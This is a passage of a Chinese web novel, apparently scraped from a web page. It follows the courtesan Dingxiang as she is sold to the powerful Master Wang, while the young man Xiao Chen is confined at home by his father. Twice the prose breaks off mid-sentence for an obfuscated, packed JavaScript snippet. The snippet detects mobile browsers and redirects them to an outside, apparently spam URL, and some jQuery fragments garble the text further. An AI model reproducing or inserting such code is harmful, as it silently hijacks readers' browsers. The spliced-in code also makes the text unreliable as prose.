丁香微怔,似乎没想到他会这么轻易放过自己。但她没多问,福了福身,抱起琴,转身就走。脚步快得有些踉跄,像是身后有洪水猛兽在追赶。 直到走出舱房,被外面的风一吹,她才发现自己后背的衣裳早已被冷汗浸透。刚才那番话,耗尽了她所有的力气。 她没回自己的舱房,而是抱着琴走到船尾,望着远处灰蒙蒙的水面。指尖在琴上轻轻一弹,发出一声嘶哑的响,像她此刻的心跳。 原来硬气一次,是这么难的事。可就算难,她也不想做那个任人摆布的玩物。 至少现在,她还能守住自己。 这就够了。 王老爷一脚踹开舱门,带着满身酒气走出来,刀疤刘和几个管事正候在外面,见他脸色不善,都缩着脖子不敢吭声。 他眯着眼扫过众人,忽然扯了扯嘴角,露出个阴恻恻的笑:“这女子够辣,合我的胃口。”他舔了舔唇角,语气带着势在必得的狠劲,“我要得到她。” 刀疤刘心里咯噔一下,刚想赔笑说些什么,就被王老爷打断。 “我知道你们怕肖家,也知道你们在这码头做生意不容易。”王老爷慢悠悠地说,目光落在刀疤刘身上,“只要你们把她给我送过来,我可以给你们个好处——以后这码头的官府,你们不用再打点,有我在,没人敢找你们麻烦。” 这话一出,刀疤刘和几个管事都变了脸色。他们在码头混饭吃,最头疼的就是官府的层层盘剥,光是每年打点的银子就够买半艘船了。王老爷在官场有人脉,这话绝非空谈。 还没等他们回过神,王老爷又抛出个诱饵:“再加一万两银子,够给她赎身了吧?” 一万两!刀疤刘倒吸一口凉气,这数目足够买下三个像丁香这样的姑娘了。一边是肖家的情面和丁香的倔强,一边是实打实的权势和银子,天平瞬间倾斜。 几个管事互相看了一眼,都从对方眼里看到了贪婪。其中一个忍不住开口:“王老爷,这……这可不是小事,我们……” “怎么?嫌少?”王老爷挑眉,语气冷了几分,“还是觉得我王某人的话不值钱?” 刀疤刘连忙上前一步,弓着腰赔笑道:“不敢不敢,老爷您说笑了。只是……只是丁香那丫头性子烈,怕是……” “性子烈才好调教。”王老爷打断他,拍了拍他的肩膀,力道不轻,“这事就这么定了。三天后,我来接人。你们要是办得漂亮,以后这码头的好处,少不了你们的。” 说完,他不再看众人,带着跟班扬长而去。 直到王老爷的船消失在视线里,刀疤刘才瘫软在地,擦了擦额头的冷汗。 “刘哥,这……这咋办啊?”一个管事急道,“一边是王老爷,一边是肖公子……” “还能咋办?”刀疤刘狠狠啐了一口,眼里闪过一丝狠厉,“王老爷给的条件,咱们根本没法拒绝!官府不打点,再加一万两,这可是天上掉馅饼的好事!” “可肖公子那边……” “肖公子远在城里,哪知道这边的事?”刀疤刘咬了咬牙,“就说丁香自己愿意的,他还能怎么样?再说了,咱们拿了王老爷的好处,以后在码头站稳脚跟,还怕肖家不成?” 几个管事对视一眼,终究是抵不住诱惑,纷纷点头:“刘哥说得是,就这么办!” 舱房里,小丫鬟把刚才的话听得一清二楚,吓得脸色惨白,连忙跑回去告诉丁香。 丁香正坐在窗边擦琴,闻言,手里的布巾“啪嗒”一声掉在地上。她怔怔地望着窗外,眼底最后一点光也灭了。 一万两,再加官府的庇护。 原来她的身价,是这样被衡量的。 她忽然低低地笑了起来,笑着笑着,眼泪就淌了下来,砸在琴弦上,晕开一小片水渍。 这一次,她好像真的躲不过了。 舱房的门被轻轻推开,丁香背对着门口站着,望着窗外翻涌的浪涛,声音轻得像随时会被风吹散:“你去一趟城里,找肖公子。” 小丫鬟刚擦完眼泪,闻言猛地抬头:“姑娘,您要……” “就说我有要事找他,让他务必来一趟。”丁香打断她,指尖紧紧抠着窗棂,指节泛白,“记住,千万别提赎身的事,也别说王老爷……一个字都不能提。” 她怕肖晨知道了会冲动,更怕他为了自己,真的跟王老爷对上。那是条狼,肖晨就算家世再好,在这码头也未必能讨到好。 小丫鬟愣了愣,看着她紧绷的背影,忽然明白了什么。姑娘这是……想最后见肖公子一面? “可是姑娘,王老爷那边说三天后来接人,我这一来一回,怕是……” “来得及。”丁香转过身,眼底带着一丝孤注一掷的决绝,“你现在就动身,骑马去,日夜不停地赶,一定能赶上。” 她从枕下摸出个小小的锦袋,递给小丫鬟:“这里面有些碎银子,你路上用。到了肖府,别说是花船来的,就说是……就说是故人托你传话。” 小丫鬟接过锦袋,触手冰凉,像揣着块烙铁。她用力点头:“姑娘放心,我一定办到!” 看着小丫鬟急匆匆跑出去的背影,丁香缓缓闭上眼。她不知道自己这么做对不对,也不知道见了肖晨该说些什么。或许只是想再看他一眼,听听他说话的声音,像上次那样,站在窗边听她弹一曲琴。 那样,就算往后的日子再难,也算有过一点念想。 她重新坐回琴前,指尖落在琴弦上,却怎么也弹不出完整的调子。窗外的浪声越来越大,像在催促着什么,又像在哀悼着什么。 三天,她只有三天的时间了。 或者说,她和肖晨之间,只剩下这最后三天的缘分了。 想到这里,她的指尖终于拨动琴弦,琴声幽幽响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993195|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着无尽的怅惘,在空旷的舱房里回荡,飘向远方。 午后的阳光正好,肖晨坐在书房窗边看书,李傲雪就搬了个绣凳坐在他脚边,手里拿着针线,眼神却总忍不住往他脸上瞟。 他今日穿了件月白色的长衫,墨发用一根玉簪松松挽着,阳光落在他挺直的鼻梁上,勾勒出清隽的轮廓。看书时眉头微蹙,偶尔抬眼思索,睫毛在眼下投出淡淡的阴影,竟比窗台上那盆兰花还要清雅几分。 李傲雪手里的针戳歪了,扎在指尖上,她“呀”了一声,却没觉得疼,只红着脸低下头。 “怎么了?”肖晨闻声放下书,低头看她,“扎到手了?” “没有没有。”她慌忙把手指藏到身后,脸颊却更烫了。 肖晨无奈地笑了笑,伸手拉过她的手,果然看见指尖沁出一点血珠。他从怀里摸出帕子,轻轻替她按住,动作自然又温柔。 “跟你说了多少次,绣花时专心些。” “谁让你……”李傲雪小声嘟囔,话说到一半又咽了回去,总不能说自己是看他看呆了吧。 肖晨挑了挑眉:“我怎么了?” 她抬起眼,飞快地瞟了他一眼,又立刻低下头,声音细若蚊吟:“就是觉得……少爷越来越好看了。” 肖晨一愣,随即失笑,捏了捏她的脸颊:“没大没小,什么好看不好看的。” 可他眼底的笑意却藏不住,耳根也悄悄泛起一点红。 往后几日,李傲雪更是黏他黏得紧。他在廊下看书,她就搬个小凳坐在旁边,托着腮帮子看他;他去花园散步,她就亦步亦趋地跟着,手里还不忘给他拿着折扇;夜里他在灯下温书,她就坐在对面,给他剥瓜子仁,剥满一小碟就推到他手边。 看着肖晨低头看书的侧影,李傲雪心里总忍不住嘀咕:如今才多大,就生得这般俊朗,等再过两年,他成年了,怕是要迷倒满城的姑娘吧?到时候眉眼长开了,定是更加挺拔英气,笑起来时,会不会比现在更让人心里发颤? 她越想越觉得有趣,忍不住伸手想去碰碰他的睫毛,指尖刚要碰到,就被肖晨捉住了。 “又在想什么?”他抬眼望她,眼底带着笑意,“魂都飞走了。” 李傲雪被抓了个正着,脸“腾”地红了,挣扎着想把手抽回来:“没、没什么……” 肖晨却没放,反而握得更紧些,指尖摩挲着她细腻的肌肤:“是不是觉得,你的夫君很好看?” 这话问得直白,李傲雪的脸更红了,像熟透的苹果,她用力点头,又觉得不好意思,连忙摇摇头,最后干脆把脸埋进他的臂弯里,闷声道:“就是好看嘛……” 肖晨被她这副模样逗笑了,胸腔的震动透过手臂传过去,李傲雪听得心头痒痒的,往他怀里缩了缩,像只偷到糖的小兽。 阳光透过窗棂,在两人交握的手上镀上一层金边,空气里仿佛都飘着甜甜的味道。李傲雪偷偷抬眼,看着肖晨下颌的线条,心里忽然盼着,日子能过得再快些,又能慢些——快些让他长成可以独当一面的模样,又慢些,好让她多贪恋几日这样的时光。 有他在身边,连等待都变得这样欢喜。 李傲雪胆子越来越大了。 前几日只是偷偷盯着肖晨看,这两日竟趁他看书时,踮脚在他脸颊上啄一下,像只偷腥的小猫,亲完就红着脸躲到一边,心跳快得像要蹦出来。 起初肖晨还愣着,反应过来时,耳根早已红透。他放下书卷,看着她缩在屏风后,只露出半张脸偷偷瞄他,忍不住无奈地笑。 这日午后,他趴在桌上小憩,阳光暖融融地洒在身上,带着点困意。迷迷糊糊间,感觉有柔软的唇瓣轻轻碰了碰他的唇角,像羽毛扫过,带着点温热的气息。 肖晨猛地睁开眼,正对上李傲雪惊慌失措的眸子,她像被踩了尾巴的兔子,转身就要跑,却被他一把拉住手腕。 “傲雪。”他声音带着刚睡醒的沙哑,心跳快得离谱。 李傲雪低着头,脸颊红得能滴出血来,手腕被他握着,烫得像着了火。“我、我不是故意的……” 肖晨看着她这副模样,忽然想起自己在现代的日子。二十多年母胎单身,连男孩子的手都没牵过,何曾受过这样的“惊吓”?眼前这小姑娘,明明看着温顺,发起火来却像团火,烫得他手足无措。 他轻咳一声,松开她的手,别开视线:“以后……别这样了。” 李傲雪却没听,反而抬头看他,眼里带着点委屈和不解:“少爷不喜欢吗?”她觉得喜欢一个人,就该亲他、靠近他,像村里的小夫妻那样,时时刻刻黏在一起。 肖晨被她问得语塞,脸颊更烫了。喜欢吗?好像……也不是不喜欢。只是这突如其来的亲近,让他这个“现代社恐”实在吃不消。 他张了张嘴,刚想说什么,李傲雪却忽然凑上来,又在他唇角亲了一下,这次更久些,带着点小心翼翼的试探。 “我喜欢少爷。”她声音软软的,带着点鼻音,“就想亲你。” 肖晨彻底僵住了,脑子里一片空白。现代的恋爱剧没教过他,古代的话本也没写过,面对这样直白又火热的喜欢,他该怎么办? 他看着李傲雪亮晶晶的眼睛,里面满是对他的依恋和欢喜,像盛着两团小火焰,烧得他心头发烫。 最终,他只能别过脸,声音细若蚊吟:“知道了……” 李傲雪见他没真的生气,反而像只被欺负了的小兽,忍不住“噗嗤”笑了出来,伸手挽住他的胳膊,把脸埋进他的袖子里,闷闷地笑。 肖晨感受着手臂上传来的温热,鼻尖萦绕着她发间淡淡的香气,心里那点“吃不消”,忽然就变成了说不清道不明的软。 或许……被这样喜欢着,也不算太坏。 他悄悄抬眼,看着她毛茸茸的发顶,唇角忍不住弯了弯。 罢了,古代的日子,就按古代的规矩来吧。至少,被她这样惦记着,好像也挺甜的。 小丫鬟气喘吁吁跑到肖府门口,手心攥得发白,正不知该如何通报,就见一个穿着青布衫的小厮从里面走出来——是肖晨身边的阿成。 “你是……”阿成打量着她,见她一身风尘仆仆的样子,不像府里的人。 小丫鬟急得眼圈发红,压低声音:“小哥,我是丁香姑娘派来的,有急事找肖公子,求你通报一声!” “丁香姑娘?”阿成愣了愣,随即想起是那位在花船上弹得一手好琴的姑娘,少爷前阵子还为她的病费了不少心。他不敢耽搁,连忙道:“你在这儿等着,我这就去说!” 阿成一阵风似的跑到书房,肖晨正和李傲雪一起看话本,见他跑得急,不禁挑眉:“什么事?” “少爷,外面有个小丫鬟,说是丁香姑娘派来的,说有急事找您。” 肖晨手里的话本顿了顿,眼底闪过一丝疑惑。丁香找他?会是什么事?前几日听说她身子好些了,难道又出了什么岔子? 李傲雪也抬起头,眼里带着点好奇:“是那位弹琴很好听的姐姐吗?” “嗯。”肖晨放下话本,站起身,“我去看看。” 他跟着阿成走到门口,见了小丫鬟,蹙眉道:“丁香怎么了?” “姑娘只说有要事见您,让您务必去一趟。”小丫鬟低着头,不敢看他,更不敢提王老爷半个字,“她……她在船上等着您。” 肖晨心里更纳闷了,却也没多问,只对阿成道:“备车。” 李傲雪也想跟着去,被肖晨按住:“你在家等着,我去去就回。”他怕花船上人多眼杂,她一个姑娘家去了不方便。 李傲雪虽有些不情愿,还是乖乖点头:“那你早点回来。” 肖晨跟着小丫鬟上了车,马车轱辘轱辘往码头赶。他靠在车壁上,心里反复琢磨着丁香找他的缘由,却怎么也想不到,花船上正有一张无形的网在等着他,更不知道那个叫王老爷的男人,已经将主意打到了丁香身上。 他只当是寻常事,或许是丁香遇到了难处,或许是想托他办什么事。毕竟,在他心里,她是那个懂他琴音的知己,他不能不管。 马车驶过青石板路,离码头越来越近,隐约能听见浪涛声。肖晨掀开车帘一角,望着远处灰蒙蒙的水面,丝毫没察觉,一场风波正悄然向他袭来。 35. 我会让你求着爬上我的床 马车停在码头,肖晨踩着跳板上了船,熟悉的木腥味混着水汽扑面而来。小丫鬟引着他往舱房走,一路安静得反常,连往日里穿梭的伙计都少了许多。 他心里隐隐有些不安,却没多问,只跟着脚步声穿过回廊,停在那扇熟悉的舱门前。 小丫鬟推开门,轻声道:“姑娘,肖公子来了。” 丁香正坐在琴前,听见声音,缓缓转过身。她换了身月白色的衣裙,头发梳得一丝不苟,脸上没施粉黛,却比往日更显清丽,只是眼底那抹化不开的郁色,看得肖晨心头一紧。 “公子。”她起身福了福身,声音平静无波,“我给你弹奏一曲吧。” 肖晨点点头,在桌边坐下。他看着她重新坐回琴前,指尖轻扬,琴声便流淌出来。还是那首他听过的《平沙落雁》,只是今日弹来,少了几分悠远,多了几分缠绵的不舍,像在挽留着什么,又像在与什么告别。 他静静听着,没说话。琴声里的情绪太浓,浓得让他几乎喘不过气。 一曲终了,余音绕梁,久久不散。舱房里静得能听见彼此的呼吸声。 肖晨才轻声开口:“丁香,你找我来,到底有什么事?” 丁香望着琴弦,指尖在上面轻轻摩挲,半晌,才抬起眼,眼底蒙着一层薄薄的水汽,却带着一丝恳求:“公子……能陪陪我吗?就一小会儿。” 她的声音很轻,带着点脆弱,像风中摇曳的烛火,让人心头发软。 肖晨愣了愣,看着她泛红的眼眶,到了嘴边的追问忽然说不出口。他点了点头:“好。” 得到肯定的答复,丁香的嘴角微微弯了弯,像是松了口气。她起身倒了杯茶,递到他面前:“这是去年的雨前龙井,公子尝尝。” 肖晨接过,温热的茶水暖了手心,却暖不了心里那点莫名的慌乱。他看着她坐在对面,安静地拨弄着琴弦,不说事,也不催促,就那样静静地陪着他。 阳光透过窗棂照进来,落在她发间,镀上一层柔和的金边。这样的画面,宁静得像一幅画,却又带着一种说不出的伤感。 肖晨忽然觉得,她或许不是有什么急事,只是……想找个人说说话,或者,只是想再看看他。 他没再追问,端起茶杯,轻轻啜了一口。茶香清冽,混着她身上淡淡的药香,竟有种奇异的安宁。 也好,就这样陪她坐一会儿吧。 他不知道,这片刻的安宁,是她用尽勇气换来的最后时光。更不知道,窗外的阴影里,正有人死死盯着这扇舱门,像在等待着猎物落网。 刀疤刘在廊下踱来踱去,看见肖晨进了丁香的舱房,急得直搓手。一边是王老爷放的狠话,三天后就要人;一边是肖公子亲自登船,明显是冲着丁香来的。这两人撞在一起,怕是要出乱子。 “刘哥,这可咋办?”旁边的管事凑过来,压低声音,“要是让肖公子知道咱们收了王老爷的好处……” 刀疤刘狠狠瞪了他一眼:“废话!能让他知道吗?”他眼珠一转,忽然拍了下大腿,“去,找个人悄悄上岸,往肖府递个信,就说……就说肖公子在花船上逗留,让肖老爷派人来把他领回去!” 他算准了肖老爷最重规矩,定然不允儿子在这种地方久待。只要肖晨被家里人叫走,剩下的事就好办了——既不得罪肖家,也能给王老爷交差。 管事连忙点头:“还是刘哥想得周到!”转身就安排人去了。 刀疤刘望着丁香舱房紧闭的门,心里暗暗祈祷:肖公子,对不住了,这趟浑水,你还是别蹚了。 舱房里,肖晨正听丁香说着近日读的诗,她声音温软,配上窗外的浪声,竟有种难得的惬意。他完全没察觉外面的动静,更不知道刀疤刘已经动了“驱客”的心思。 而此时的肖府,肖老爷刚处理完公务,就见一个小厮慌慌张张跑进来,说是花船那边来的人,有要事禀报。 “花船?”肖老爷眉头一皱,“我儿在那?” 小厮点头如捣蒜:“说是肖公子正陪着一位姑娘,劝也劝不走……” 肖老爷脸色沉了下去。他素知花船不是什么正经地方,晨儿虽是少年心性,却也该懂分寸。他当即起身:“备车!去码头!” 他倒要看看,是什么样的“姑娘”,能让他一向稳重的儿子流连忘返。 马车疾驰在去码头的路上,肖老爷坐在车里,脸色铁青。他只当是儿子一时糊涂,却不知自己这一去,恰好掉进了刀疤刘设的局里,更将肖晨推向了一场未知的风波。 而舱房里的两人,对此还一无所知。丁香正拿起琴,笑着说再弹一曲新学的调子,肖晨含笑点头,阳光落在他们身上,温暖得像一场不愿醒来的梦。 琴声歇了,舱房里只剩下彼此的呼吸声。丁香望着肖晨,忽然轻声笑了笑,眼底却藏着化不开的悲凉:“公子上次送我的那只八哥,我一直养着。它会学你说话的调子,每次听见,就像你还在身边陪着我一样。” 肖晨握着茶杯的手紧了紧,那只八哥是他见她舱房冷清,特意寻来给她解闷的,没想到她这般上心。 “只是……”丁香的声音低了下去,带着点自嘲,“你已有家室,傲雪姑娘那样好,你们是天造地设的一对。我自然是不敢有半分非分之想的。” 肖晨刚想开口说些什么,就见她垂眸,声音轻得像叹息:“我要走了。” “走?”他一愣,“去哪?” 她没回答,只是抬起眼,望着他的目光里,有不舍,有决绝,还有一丝他看不懂的疯狂。“公子,我没什么能给你的。”她缓缓站起身,指尖落在衣襟的盘扣上,一颗一颗解开,“若你不嫌弃,就……就当留个念想吧。” 素色的衣裙滑落,露出纤细的肩背,肌肤在昏暗的光线下泛着苍白的光。肖晨猛地别过脸,耳根瞬间涨红,心跳如擂鼓,连呼吸都忘了。 “丁香!你……你这是做什么!”他声音发颤,不敢回头,更不敢去看。 丁香站在他身后,赤着脚踩在冰凉的地板上,像一朵濒死的花。“我知道这样唐突,可我……”她声音哽咽,“我怕以后再也见不到你了。” 肖晨深吸一口气,强迫自己冷静下来。他想起李傲雪亮晶晶的眼睛,想起她黏着他说“喜欢少爷”的模样,想起自己作为丈夫的本分。他猛地站起身,背对着她,语气坚定:“对不起,丁香,我不能这样做。” 身后的人沉默了,空气仿佛凝固了。片刻后,传来她带着哭腔的声音,像淬了冰的针,扎得他心头发疼:“你是在嫌弃我吗?嫌弃我是这花船上的人,身子不干净?” “不是的!”肖晨急忙反驳,声音里带着急切,“你很好,真的很好。只是我……我已有傲雪,我不能负她。”他顿了顿,声音放软了些,“你值得更好的人,值得被好好对待,而不是这样……” 他不知道该怎么说,只能重复着:“对不起。” 舱房里静得可怕,只有丁香压抑的呜咽声。肖晨站在原地,背挺得笔直,却觉得后背像被火烧一样难受。他知道自己伤了她,可他别无选择。 过了许久,身后传来穿衣的窸窣声。他听见她重新坐下,声音恢复了平静,却带着一种彻底的死寂:“我知道了。是我唐突了。” 肖晨这才缓缓转过身,见她已重新穿好衣裳,只是眼眶红肿,脸色比刚才更白了。他张了张嘴,想说些安慰的话,却发现一切语言都苍白无力。 就在这时,舱门被猛地推开,肖老爷带着怒气站在门口,看到里面的情景,脸色瞬间铁青:“肖晨!你在这里做什么!” 肖晨一愣,万万没想到父亲会突然出现。而丁香,在看到肖老爷的那一刻,眼底最后一点光,彻底熄灭了。 “父亲!”肖晨急忙上前一步,挡在丁香身前,脸色涨红,“我只是来和丁香姑娘说几句话,并无不妥!” 肖老爷的目光扫过舱房里的情景——散落的衣襟,丁香红肿的眼眶,还有两人之间那说不清道不明的凝滞气氛,哪里肯信。他冷哼一声,眼神像刀子似的刮过丁香:“这叫说话?我再晚来一步,你们是不是就要行苟且之事了?” “我们是清白的!”肖晨急得提高了声音,“丁香姑娘只是……” “只是什么?”肖老爷打断他,眼神落在丁香身上,满是鄙夷,“一个花船上的奴隶,能有什么好心思?无非是想攀附权贵,做些痴心妄想的梦!”他转向肖晨,语气严厉,“你别忘了,你已有傲雪,她才是你明媒正娶的妻子!为了这种不清不楚的女人,你要毁了自己的名声吗?” 丁香猛地攥紧了衣角,指甲深深嵌进掌心,指节泛白。“货色”“奴隶”“不清不楚”……这些字眼像淬了毒的针,狠狠扎进她心里,疼得她几乎喘不过气。她想反驳,却发现喉咙像被堵住,一个字也说不出来。 肖晨气得发抖:“父亲!您怎能这样说她!丁香姑娘不是您想的那样!” “我想的哪样?”肖老爷瞪着他,“在这种地方讨生活的女人,能干净到哪里去?你要是碰了她,才是真的脏了手!” “够了!”肖晨怒吼一声,第一次这样顶撞父亲。他转过身,看向脸色惨白的丁香,眼里满是愧疚,“对不起,丁香,我父亲他……” 丁香却摇了摇头,缓缓站起身,福了福身,声音平静得可怕,只是那平静之下,是彻底的死寂:“肖老爷说得对,我本就是卑贱之人,配不上肖公子。是我唐突了,扰了公子清净。” 她没再看肖晨,也没看肖老爷,只是低着头,一步步往内室走去,背影单薄得像一片随时会被风吹走的叶子。 肖晨看着她的背影,心里像被什么东西狠狠揪住,疼得厉害。他想追上去,却被父亲死死拉住。 “走!跟我回家!”肖老爷的声音带着不容置疑的强硬,拖着他就往外走。 “父亲!”肖晨挣扎着,却挣脱不开。 舱房的门被“砰”地一声关上,隔绝了里面的死寂,也隔绝了他最后想说的那句“对不起”。 门外,刀疤刘正候着,见肖老爷气冲冲地拉着肖晨出来,连忙凑上去赔笑,心里却暗暗松了口气——成了。 肖晨被父亲强行拖下船,塞进马车。他回头望着那艘渐渐远去的花船,心里空落落的,像被剜去了一块。他不知道丁香会怎么样,更不知道,这一别,或许就是永别。 而舱房里,丁香靠在门板上,缓缓滑坐在地。刚才强撑的镇定终于崩塌,眼泪汹涌而出,却发不出一点声音。 原来,连留个念想,都是奢望。 她终究,还是那个被人看不起的“货色”。 这样也好。 她闭上眼,任由黑暗将自己吞噬。 马车里的气氛压抑得像要滴出水来。肖父闭目靠着车壁,脸色阴沉得可怕,肖晨则别过头望着窗外,胸口起伏不停,显然还在气头上。 “你可知错?”肖父率先开口,声音冷得像冰。 肖晨猛地转头:“我没错!” “没错?”肖父睁开眼,眼神锐利如刀,“你一个肖家独子,未来的家主,跑到那种腌臜地方,跟一个卖笑的女子拉拉扯扯,还敢说没错?” “她不是卖笑的女子!”肖晨红了眼,声音带着颤抖,“她叫丁香,是个干干净净的姑娘!她心地善良,会弹琴,懂诗词,比很多所谓的大家闺秀都要纯洁!我们是朋友,是知己,你凭什么那样侮辱她?” “知己?”肖父冷笑一声,“一个花船上的女子,也配跟你称知己?晨儿,你太天真了!她们这些人,最会用眼泪和柔情骗男人的钱,骗男人的心!你以为她对你是真心?不过是看中了你肖家公子的身份!” “不是的!”肖晨激动地反驳,“她从来没向我要过任何东西!她不是你想的那种人!” “我想的哪种人?”肖父猛地坐直身体,盯着他,“难道不是?在那种地方讨生活的女子,哪个不是想方设法攀高枝?你被她的表象骗了!” “她不是表象!”肖晨的声音带着哭腔,却异常坚定,“我见过她对小丫鬟的好,见过她看八哥时温柔的眼神,听过她弹琴时干净的心事!她比谁都干净!父亲,你没见过她,凭什么这样说她?我不许你侮辱她!” 他从未如此顶撞过父亲,可此刻,他不能让丁香被这样污蔑。那个在琴声里藏着倔强的女子,那个宁愿玉石俱焚也不肯低头的女子,怎么会是父亲口中“低贱”的人? 肖父被他吼得一愣,随即气得发抖:“反了!真是反了!我看你是被那女子迷昏了头!从今日起,禁足府中,没我的允许,不准踏出大门半步!” 他扬声对外面吩咐:“看好公子,若是让他跑了,仔细你们的皮!” 外面传来仆役恭敬的应答声。肖晨猛地去拉车门,却发现早已被锁死。他一拳砸在车厢壁上,发出沉闷的响声,眼里满是无力和愤怒。 “父亲!你不能这样!” 肖父却不再理他,重新闭上眼,只是紧握的拳,暴露了他并未平静的心情。在他看来,儿子只是一时糊涂,等过些日子,自然会明白他的苦心——肖家的未来,绝不能毁在一个来历不明的女子手里。 马车一路疾驰,离码头越来越远。肖晨望着窗外飞逝的景物,心里像被什么东西堵着,闷得发疼。他不知道丁香会不会出事,更怕自己这一被禁足,再也没有机会去向她道歉,去向她解释。 那个说“想留个念想”的女子,那个被父亲骂作“低贱货色”的女子,此刻是不是正一个人坐在空荡荡的舱房里,默默流泪? 想到这里,他的心像被针扎一样疼。 他暗暗握紧拳头,不管父亲怎么说,他都认定了,丁香不是那样的人。 等他出去,一定要找到她,一定要告诉她。 马车刚停在肖府门口,李傲雪就迎了上来。她见肖晨低着头,脸色难看,肖父更是眉头紧锁,满脸怒容,心里咯噔一下,连忙福身:“父亲,少爷,你们回来了。” 肖父没看肖晨,只对着李傲雪沉声道:“傲雪,从今日起,你把他看紧了。”他指了指肖晨,语气带着不容置疑的威严,“让他在房里待着,每日读书写字,没我的允许,不许踏出房门半步。你亲自伺候,寸步不离。” 李傲雪愣了愣,虽不明白发生了什么,却能感觉到事情的严重性。她看了看肖晨通红的眼眶,又看了看肖父铁青的脸,不敢多问,只温顺地应道:“儿媳知道了。” 肖父这才松了点脸色,又瞪了肖晨一眼,转身拂袖而去。 肖晨站在原地,拳头攥得死紧,胸口还在剧烈起伏。李傲雪小心翼翼地拉了拉他的衣袖:“少爷,咱们先回房吧。” 肖晨没说话,任由她拉着往院子走。一路无话,进了房间,他才猛地甩开她的手,烦躁地在屋里踱步,嘴里反复念叨:“他凭什么那么说她……凭什么……” 李傲雪看着他失魂落魄的样子,心里像被什么东西揪了一下。她虽不知道那个“她”是谁,却能感觉到,那人在肖晨心里分量极重。 她没多问,只是默默倒了杯热茶递过去:“少爷,先喝口茶吧,消消气。” 肖晨没接,反而抬头看她,眼神里带着恳求:“傲雪,你放我出去好不好?我得去找丁香,我要跟她道歉……” 李傲雪手一抖,茶水差点洒出来。丁香?是那个弹琴很好听的姐姐? 她低下头,声音轻轻的:“少爷,父亲说了,不让你出去。”她是肖家的媳妇,自然要听长辈的话,可看着肖晨焦急的样子,她又忍不住心疼。 肖晨见她不肯,更急了:“可她……” “少爷,”李傲雪打断他,抬起眼望着他,眼里带着点委屈,却很坚定,“我知道你心里急,可父亲也是为了你好。你要是硬闯出去,父亲会更生气的。” 她走到他面前,轻轻握住他的手:“你乖乖待着,我陪着你。等父亲气消了,咱们再想办法,好不好?” 肖晨看着她亮晶晶的眼睛,里面满是担忧和顺从,到了嘴边的话忽然说不出口了。他知道傲雪是无辜的,不该把气撒在她身上。 他叹了口气,抽回手,走到窗边坐下,望着外面紧闭的院门,眼神黯淡。 李傲雪看着他落寞的背影,心里酸酸的。她不知道该做些什么,只能默默地给他研墨,给他铺纸,像往常一样陪在他身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993196|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只是这一次,她能感觉到,肖晨的心,不在这院子里了。 他的目光,好像飘向了很远的地方,飘向了那个叫丁香的姑娘那里。 李傲雪低下头,轻轻咬着唇。她忽然有点怕,怕那个只听过名字的姑娘,会把她的少爷抢走。 王老爷派来的人登上花船时,丁香正坐在窗边喂八哥。那鸟儿歪着头啄她指尖的米,发出“公子”“公子”的叫声,声音模仿得有几分像肖晨。 刀疤刘陪着笑上前:“丁香姑娘,王老爷那边备了马车,您……该动身了。” 丁香没看他,只是轻轻抚摸着八哥的羽毛,声音平静:“知道了。” 她起身,没让丫鬟帮忙,自己慢慢收拾东西。小丫鬟红着眼圈想跟上来,却被刀疤刘拦住了。有些路,终究只能一个人走。 丁香走到墙角的木盒前,打开,里面放着那只八哥笼,还有一卷用红绳系着的画。她把鸟笼提在手里,又小心翼翼地将画揣进怀里,指尖触到画纸,仿佛还能想起肖晨给她画像时的样子。 那天阳光很好,他坐在对面,笔尖在纸上沙沙作响,偶尔抬头看她一眼,眼神温柔得像落了层雪。画成后,他递给她,笑着说:“画得不好,将就看。” 那幅画里的她,眉眼含笑,眼底有光,还不是如今这副死气沉沉的模样。 “这些,我要带走。”她提着鸟笼,抱着画,对来接她的人说。 来人打量了她一眼,见不过是只鸟和一卷画,不耐烦地挥挥手:“赶紧走,别耽误了时辰。” 丁香没再说话,跟着他们下了船。马车停在岸边,黑漆的车厢,挂着厚重的帘子,像口移动的棺材。她弯腰坐进去时,八哥在笼里扑腾着翅膀,发出不安的叫声。 她轻轻拍了拍笼子:“别怕,我带你走。” 马车辘辘驶离码头,往王老爷的府邸去。车厢里一片漆黑,丁香抱着那卷画,指尖反复摩挲着画纸的边缘。她知道,从踏入这马车开始,过去的一切就都结束了——那个会弹琴的丁香,那个对肖晨存过念想的丁香,都死了。 剩下的,只是王老爷要的那个“够辣”的玩物。 也好,至少她还能带著八哥,带着这幅画。 鸟儿记得他的声音,画里存着她最好的模样。 就算身陷泥沼,总要有样东西,提醒她曾经也干净过,也被人温柔以待过。 马车驶进王府大门时,丁香掀起帘子一角,看了眼那朱红的门,像一张巨兽的嘴。她深吸一口气,抱着怀里的画,提着鸟笼,一步步走了进去。 八哥在笼里突然叫起来:“公子……别走……” 声音凄厉,像在哭。 丁香的脚步顿了顿,随即又迈开,没回头。 有些告别,注定只能在心里说。 再见了,肖晨。 再见了,那个曾对未来有过一丝期盼的自己。 王老爷的卧房里燃着浓郁的熏香,呛得丁香有些发晕。几个仆妇将她按在浴桶里,粗鲁地擦洗,又给她换上一身艳俗的红裙,发髻梳得繁复,插满了沉甸甸的金钗。 她像个木偶,任人摆布,眼神空洞地望着铜镜里陌生的自己——脂粉掩盖了苍白,红裙衬得肌肤愈发像雪,却也像雪一样冷。 